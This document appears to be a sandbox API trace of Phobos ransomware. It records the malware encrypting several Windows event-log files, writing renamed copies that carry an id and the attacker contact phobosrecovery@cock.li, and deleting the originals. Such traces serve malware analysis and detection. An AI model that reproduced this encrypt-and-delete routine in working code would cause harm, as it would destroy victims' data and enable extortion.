[0061.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20 [0061.687] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.687] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.687] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.688] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.688] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.689] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10ccb0) returned 1 [0061.689] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.689] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0061.808] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0061.808] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0061.810] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ceb0) returned 1 [0061.810] CryptSetKeyParam (hKey=0x10ceb0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.810] CryptEncrypt (in: hKey=0x10ceb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90, dwBufLen=0x90 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x90) returned 1 [0061.810] CryptDestroyKey (hKey=0x10ceb0) returned 1 [0061.810] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x142, lpOverlapped=0x0) returned 1 [0061.810] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0061.810] CloseHandle (hObject=0x2e4) returned 1 [0061.810] CloseHandle (hObject=0x320) returned 1 [0061.812] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 1 [0061.813] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0061.813] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.813] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0061.813] CloseHandle (hObject=0x320) returned 1 [0061.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 0x20 [0061.814] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.814] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.814] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.814] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.814] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0061.814] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.814] ReadFile (in: hFile=0x320, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0061.818] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0061.818] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0061.820] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cc30) returned 1 [0061.820] CryptSetKeyParam (hKey=0x10cc30, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.820] CryptEncrypt (in: hKey=0x10cc30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xb0, dwBufLen=0xb0 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0xb0) returned 1 [0061.820] CryptDestroyKey (hKey=0x10cc30) returned 1 [0061.820] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x162, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x162, lpOverlapped=0x0) returned 1 [0061.820] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0061.820] CloseHandle (hObject=0x320) returned 1 [0061.820] CloseHandle (hObject=0x2e4) returned 1 [0061.822] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0061.823] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0061.823] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.824] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=1052672) returned 1 [0061.824] CloseHandle (hObject=0x2e4) returned 1 [0061.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 0x20 [0061.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0061.824] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0061.824] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.824] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0061.824] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0061.825] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d170) returned 1 [0061.825] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0061.825] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x101000, lpOverlapped=0x0) returned 1 [0061.855] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010, dwBufLen=0x101010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x101010) returned 1 [0061.856] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x101010, lpOverlapped=0x0) returned 1 [0062.178] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0062.178] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.178] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0062.178] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.178] WriteFile (in: hFile=0x320, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0062.178] CryptDestroyKey (hKey=0x10d170) returned 1 [0062.178] CloseHandle (hObject=0x2e4) returned 1 [0062.178] CloseHandle (hObject=0x320) returned 1 [0062.201] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx")) returned 1 [0062.404] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0062.482] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.483] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0062.483] CloseHandle (hObject=0x2e4) returned 1 [0062.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 0x20 [0062.483] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.483] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.483] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.483] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.483] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.483] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cff0) returned 1 [0062.483] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.483] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0062.485] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0062.485] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0062.486] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10ce70) returned 1 [0062.486] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.486] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0062.486] CryptDestroyKey (hKey=0x10ce70) returned 1 [0062.486] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0062.486] CryptDestroyKey (hKey=0x10cff0) returned 1 [0062.486] CloseHandle (hObject=0x2e4) returned 1 [0062.487] CloseHandle (hObject=0x340) returned 1 [0062.489] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SmbClient%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx")) returned 1 [0062.490] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0062.490] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.491] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0062.491] CloseHandle (hObject=0x340) returned 1 [0062.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20 [0062.491] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.491] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.491] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.491] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.491] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.491] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10cdf0) returned 1 [0062.491] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.491] ReadFile (in: hFile=0x340, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0062.499] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0062.499] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0062.501] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cbf0) returned 1 [0062.501] CryptSetKeyParam (hKey=0x10cbf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.501] CryptEncrypt (in: hKey=0x10cbf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0062.501] CryptDestroyKey (hKey=0x10cbf0) returned 1 [0062.501] WriteFile (in: hFile=0x2e4, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 [0062.501] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.501] CloseHandle (hObject=0x340) returned 1 [0062.501] CloseHandle (hObject=0x2e4) returned 1 [0062.503] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1 [0062.504] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2bdf940 | out: pbBuffer=0x2bdf940) returned 1 [0062.504] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.504] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2bdf8e0 | out: lpFileSize=0x2bdf8e0*=69632) returned 1 [0062.504] CloseHandle (hObject=0x2e4) returned 1 [0062.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx")) returned 0x20 [0062.504] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0062.504] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0062.505] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.505] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdf880 | out: lpNewFilePointer=0x0) returned 1 [0062.505] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\logs\\microsoft-windows-smbserver%4security.evtx.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0062.516] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf838, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf894 | out: phKey=0x2bdf894*=0x10d170) returned 1 [0062.516] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.516] ReadFile (in: hFile=0x2e4, lpBuffer=0x2f80020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2bdf8bc, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesRead=0x2bdf8bc*=0x11000, lpOverlapped=0x0) returned 1 [0062.519] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010, dwBufLen=0x11010 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x11010) returned 1 [0062.520] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x11010, lpOverlapped=0x0) returned 1 [0062.522] CryptImportKey (in: hProv=0xe6710, pbData=0x2bdf82c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2bdf898 | out: phKey=0x2bdf898*=0x10cdf0) returned 1 [0062.522] CryptSetKeyParam (hKey=0x10cdf0, dwParam=0x1, pbData=0x2bdf940, dwFlags=0x0) returned 1 [0062.522] CryptEncrypt (in: hKey=0x10cdf0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80, dwBufLen=0x80 | out: pbData=0x2f80020*, pdwDataLen=0x2bdf858*=0x80) returned 1 [0062.522] CryptDestroyKey (hKey=0x10cdf0) returned 1 [0062.522] WriteFile (in: hFile=0x340, lpBuffer=0x2f80020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2bdf8a0, lpOverlapped=0x0 | out: lpBuffer=0x2f80020*, lpNumberOfBytesWritten=0x2bdf8a0*=0x132, lpOverlapped=0x0) returned 1 